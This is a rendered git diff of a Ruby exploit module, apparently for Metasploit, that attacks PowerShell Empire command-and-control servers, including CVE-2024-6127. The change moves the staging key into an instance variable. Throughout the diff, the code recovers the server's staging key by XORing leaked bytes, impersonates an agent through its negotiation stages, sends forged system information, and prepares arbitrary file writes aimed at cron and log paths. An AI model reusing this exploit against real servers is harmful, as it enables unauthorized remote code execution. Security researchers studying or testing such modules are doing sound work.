@@ -99,7 +99,8 @@ def initialize(info = {})
99
99
end
100
100
101
101
def check
102
- return Exploit ::CheckCode ::Safe if get_staging_key . nil?
102
+ @staging_key = get_staging_key
103
+ return Exploit ::CheckCode ::Safe if @staging_key . nil?
103
104
104
105
Exploit ::CheckCode ::Appears
105
106
end
@@ -178,24 +179,24 @@ def get_staging_key
178
179
} )
179
180
return unless res && res . code == 200
180
181
181
- staging_key = Array . new ( 32 , nil )
182
+ @ staging_key = Array . new ( 32 , nil )
182
183
staging_data = res . body . bytes
183
184
184
185
reversal_key . each_with_index do |( pos , char_code ) , key_pos |
185
- staging_key [ key_pos ] = staging_data [ pos ] ^ char_code
186
+ @ staging_key[ key_pos ] = staging_data [ pos ] ^ char_code
186
187
end
187
188
188
- return if staging_key . include? nil
189
+ return if @ staging_key. include? nil
189
190
190
191
# at this point the staging key should have been fully recovered but
191
192
# we'll verify it by attempting to decrypt the header of the stage
192
193
decrypted = [ ]
193
194
staging_data [ 0 ..23 ] . each_with_index do |byte , pos |
194
- decrypted << ( byte ^ staging_key [ pos ] )
195
+ decrypted << ( byte ^ @ staging_key[ pos ] )
195
196
end
196
197
return unless decrypted . pack ( 'C*' ) . downcase == 'function start-negotiate'
197
198
198
- staging_key
199
+ @ staging_key
199
200
end
200
201
201
202
def write_file ( path , data , session_id , session_key , opts )
@@ -247,20 +248,20 @@ def cron_file(command)
247
248
248
249
def exploit
249
250
vprint_status ( 'Recovering the staging key...' )
250
- staging_key = get_staging_key
251
- if staging_key . nil?
251
+ @ staging_key || = get_staging_key
252
+ if @ staging_key. nil?
252
253
fail_with ( Failure ::Unknown , 'Failed to recover the staging key' )
253
254
end
254
- vprint_good ( "Successfully recovered the staging key: #{ staging_key . map { |b | b . to_s ( 16 ) } . join ( ':' ) } " )
255
- staging_key = staging_key . pack ( 'C*' )
255
+ vprint_good ( "Successfully recovered the staging key: #{ @ staging_key. map { |b | b . to_s ( 16 ) } . join ( ':' ) } " )
256
+ @ staging_key = @ staging_key. pack ( 'C*' )
256
257
257
258
case datastore [ 'CVE' ]
258
259
when 'CVE-2024-6127'
259
260
# stage0
260
261
# This stage is unnecessary for our purposes.
261
262
session_id = SecureRandom . alphanumeric ( 8 ) . upcase
262
263
dummy = SecureRandom . alphanumeric ( 8 )
263
- send_data_to_stage ( staging_key , dummy , staging_key , STAGE0 , session_id )
264
+ send_data_to_stage ( @ staging_key, dummy , @ staging_key, STAGE0 , session_id )
264
265
265
266
# stage1
266
267
dh = OpenSSL ::PKey ::DH . new (
@@ -276,12 +277,12 @@ def exploit
276
277
end
277
278
private_key = dh . priv_key . to_i
278
279
public_key = dh . pub_key . to_s
279
- res = send_data_to_stage ( staging_key , public_key , staging_key , STAGE1 , session_id )
280
+ res = send_data_to_stage ( @ staging_key, public_key , @ staging_key, STAGE1 , session_id )
280
281
fail_with ( Failure ::Unknown , 'Failed to send the key to STAGE1' ) unless res && res . code == 200
281
282
vprint_good ( 'Successfully sent the key to STAGE1' )
282
283
283
284
# decrypt the response and pull out the epoch and session_key
284
- packet = aes_decrypt ( staging_key , res . body )
285
+ packet = aes_decrypt ( @ staging_key, res . body )
285
286
nonce = packet [ ..15 ] . to_i
286
287
server_pub = packet [ 16 ..] . to_i
287
288
shared_secret = server_pub . pow ( private_key , PRIME )
@@ -298,11 +299,11 @@ def exploit
298
299
299
300
# stage2
300
301
sysinfo = "#{ nonce + 1 } |#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } ||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64" . encode ( 'UTF-8' )
301
- res = send_data_to_stage ( session_key , sysinfo , staging_key , STAGE2 , session_id )
302
+ res = send_data_to_stage ( session_key , sysinfo , @ staging_key, STAGE2 , session_id )
302
303
fail_with ( Failure ::Unknown , 'Failed to communicate with STAGE2' ) unless res && res . code == 200
303
304
aes_decrypt ( session_key , res . body )
304
305
305
- opts = { staging_key : staging_key }
306
+ opts = { staging_key : @ staging_key }
306
307
log_path = "/var/lib/powershell-empire/empire/server/downloads/#{ session_id } /agent.log"
307
308
308
309
else
@@ -313,7 +314,7 @@ def exploit
313
314
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
314
315
res = send_request_cgi ( {
315
316
'cookie' => "SESSIONID=#{ session_id } " ,
316
- 'data' => aes_encrypt ( staging_key , rsa_key_to_xml ( rsa_key ) ) ,
317
+ 'data' => aes_encrypt ( @ staging_key, rsa_key_to_xml ( rsa_key ) ) ,
317
318
'method' => 'POST' ,
318
319
'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE1_URI' ] )
319
320
} )
0 commit comments